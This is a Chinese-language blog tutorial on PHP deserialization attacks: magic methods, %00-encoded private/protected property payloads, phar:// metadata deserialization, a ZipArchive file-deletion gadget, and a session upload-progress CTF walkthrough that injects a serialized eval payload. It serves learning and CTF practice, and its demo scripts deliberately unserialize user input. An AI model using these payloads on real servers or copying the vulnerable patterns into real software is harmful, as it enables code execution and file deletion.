持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第二十天,点击查看活动详情 之前一直觉得反序列化很难,学的也是浅尝辄止,想要跟着审计tp5.1的反序列化,打算重新学习一下反序列化的知识
什么是序列化
序列化是将对象转换为字符串以便存储和传输的一种方式。而反序列化就是序列化的逆过程,它会将字符串重新转换为对象供程序使用。简单的说,序列化serialize就是对象–>字符串,反序列化就是字符串–>对象。 序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。 用一段代码简单演示一下
<?php
class pa{
public $name;
public $height;
public $age;
public function __construct($name,$height,$age){
$this -> name = $name;
$this -> height = $height;
$this -> age = $age;
}
}
$pan = new pa("panacea",170,18);
print serialize($pan)."</br>";
//O:2:"pa":3:{s:4:"name";s:7:"panacea";s:6:"height";i:170;s:3:"age";i:18;}
var_dump(unserialize('O:2:"pa":3:{s:4:"name";s:7:"panacea";s:6:"height";i:170;s:3:"age";i:18;}'));
//object(pa)#2 (3) { ["name"]=> string(7) "panacea" ["height"]=> int(170) ["age"]=> int(18) }
经过序列化后的内容为: O:2:"pa":3:{s:4:"name";s:7:"panacea";s:6:"height";i:170;s:3:"age";i:18;} O:Object,对象 3:类里面有3个变量 s:string字符串 name:变量名 4:变量名的长度 i:int整型
PHP中的魔术方法
__construct() 当一个对象创建时触发
__destruct() 当一个对象被销毁时触发
__toString() 把类当作字符串使用时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据时
__set() 用于将数据写入不可访问的属性
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__autoload() 尝试加载未定义的类时触发
__clone() 当对象复制完成时触发
继续写一个demo,来查看什么时候调用什么方法
<?php
class pa{
public $name;
public $height;
public $age;
public $test = "This is a test";
public function __construct($name,$height,$age){
$this -> name = $name;
$this -> height = $height;
$this -> age = $age;
print "当一个对象创建时触发__consturct方法"."</br>";
}
public function PrintTest(){
print $this -> test."</br>";
}
public function __toString(){
return "把类当作字符串使用时触发__toString()方法"."</br>";
}
public function __sleep() {
print "当在类外部使用serialize()时会调用这里的__sleep()方法"."</br>";
return array('name', 'height','age'); // 这里必须返回一个数值,里边的元素表示返回的属性名称
}
public function __wakeup(){
print "使用unserialize()时会调用__wakeup()方法"."</br>";
}
public function __destruct()
{
print "当一个对象被销毁时触发调用__destruct()方法"."</br>";
}
}
$pan = new pa("panacea",170,18);
print $pan;
print serialize($pan)."</br>";
//O:2:"pa":3:{s:4:"name";s:7:"panacea";s:6:"height";i:170;s:3:"age";i:18;}
$str = $_GET["str"];
var_dump(unserialize($str));
特殊属性的反序列化
序列化为了能将整个类对象的各种信息完完整整的压缩、格式化,也会将属性的权限序列化进去,但不同类型的属性会有不同的格式 public权限:可以内部调用、实例调用等 private权限:只能是同一个类的可以访问 protected权限:只对继承的类开放
<?php
class Test{
public $word = "This is private word";
private $flag = "This is public flag";
protected $hello = "This is protected hello";
public function set_flag($flag){
$this -> flag = $flag;
}
public function get_flag($flag){
return $this -> flag;
}
}
$object = new Test();
$a = serialize($object);
$b = unserialize($_GET["str"]);
print $b -> get_flag()
O:4:"Test":3:{s:4:"word";s:20:"This is private word";s:10:"Testflag";s:19:"This is public flag";s:8:"hello";s:23:"This is protected hello";}
直接传参的话会报错
能看出不一样的地方Testflag这个的长度为10,是因为private属性的经过serialize()之后为:空格 类 空格 变量名,有了两个空格所以长度为10,protected属性的hello,为空格 星号 空格 变量名,所以长度为8,想要调用get_flag方法的话在Test和左右添加%00就可以调用了
/special.php?str=O:4:%22Test%22:3:{s:4:%22word%22;s:20:%22This%20is%20private%20word%22;s:10:%22%00Test%00flag%22;s:19:%22This%20is%20public%20flag%22;s:8:%22%00*%00hello%22;s:23:%22This%20is%20protected%20hello%22;}
另外在7.1以上版本反序列化对属性不敏感,比如protected属性的a传参时候即使没有%00*%00仍然会输出abc
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
//unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
$p = new test();
print serialize($p);
//O:4:"test":1:{s:4:"*a";s:3:"abc";}abc
phar反序列化
需要将php.ini里面的phar.readonly设置为Off 除了unserialize()来利用反序列化漏洞之外,还可以利用phar文件以序列化的形式存储用户自定义的meta-data这一特性,扩大php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作 phar文件是一种打包格式,将php文件以及很多资源捆绑到归档文件中实现应用程序和库的分发,php通过用户定义和内置的“流包装器"实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。" phar://就是一种内置的流包装器。
phar的文件格式
一般包括:
- stub phar文件的标志,必须以xxx_HALT_COMPILER()?>结尾,否则无法识别。xox可以为自定义内容。 2.manifest phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,** 这是漏洞利用最核心的地方** 。可以在前面添加任意内容 3.content 被压缩文件的内容4.signature (可空)签名,放在末尾 4.signature(可空) 签名,放在末尾
<?php
//生成一个phar文件
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");//后缀名必须为phar
$phar -> startBuffering();
$phar->setStub(" <?php __HALT_COMPILER(); ?>");//设置stub
$o = new TestObject();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar -> addFromString("test.txt","test");
//签名自动计算
$phar->stopBuffering();
010打开文件
在phar.php文件里面添加$o->name="panacea";
访问index.php,传入phar文件
<?php
class TestObject{
public $name;
function __destruct()
{
print $this -> name;
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
phar反序列化利用条件
1、phar文件能够上传到服务器端
2、有可用的魔术方法作为“跳板”
3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
可配合其他协议,如:
php://filter/read=convert.base64-encoderesource=phar://phar.phar
原生类反序列化
原生类同名函数: SessionHandler::open() 当Sflag=ZipArchive;:OVERWRITE时,就会将Sfilename的文件删除
<?php
$a = new ZipArchive();
$a -> open("test.txt",ZipArchive::OVERWRITE);
通过反序列化进行文件删除操作 index.php
<?php
class Upload{
function open($filename,$content){
print "You wanna open" . $filename . " Content: " . $content;
}
}
cLass Index{
public $upload;
public $filename;
public $content;
function __construct($filename,$content){
$this->upload = new UpLoad();
$this->filename = $filename;
$this->content = $content;
}
function __destruct(){
var_dump($this->upload);
var_dump($this->content);
var_dump($this->filename);
print getcwd();
$this->upload->open($this->filename,$this->content);
}
}
unserialize($_GET["file"]);
?>
poc.php
<?php
cLass Index{
public $upload;
public $filename;
public $content;
function __construct($filename,$content){
$this->filename = $filename;
$this->content = $content;
}
}
$a = new Index("test.txt",ZipArchive::OVERWRITE);
$a -> upload = new ZipArchive();
print serialize($a);
poc解释:index.php中反序列化时没有创建对象,因此不调用__construct()方法,在反序列化的时候将ZipArchive()赋值给upload,而ZipArchive()类的第二个参数如果为ZipArchive()::OVERWRITE时就可以删除文件
session反序列化
什么是session
session:会话控制,Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。
session是如何发挥作用
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session_start()作用
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件),PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
php.ini中关于session的设置
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php
有三种存储方式:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
session反序列化的特殊利用
当PHP中'session.upload progress.enabled打开时, php会记录上传文件的进度,在上传时会将其信息保存在_SESSION`中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。
利用一道CTF题来了解下
jarvis oj phpinfo
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
来源: http://web.jarvisoj.com:32784/
传入phpinfo后就会触发__construct()方法,这里通过phpinfo内容查看session的一些设置,发现符合上面特殊利用的要求
需要上传一个与session.upload_progress.name同名的变量,但是题目没有需要上传的点,所以构造一个上传文件
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
构造poc
<?php
class OowoO
{
//输出当前目录下的所有文件
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);
print $a;
//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>
使用burp随便上传个文件后抓包,将filename内容替换为payload,前面需要加上一个|,因为他的handler是php,就可得到flag的名字
Here_1s_7he_fl4g_buT_You_Cannot_see.php
路径在
SCRIPT_FILENAME /opt/lampp/htdocs/index.php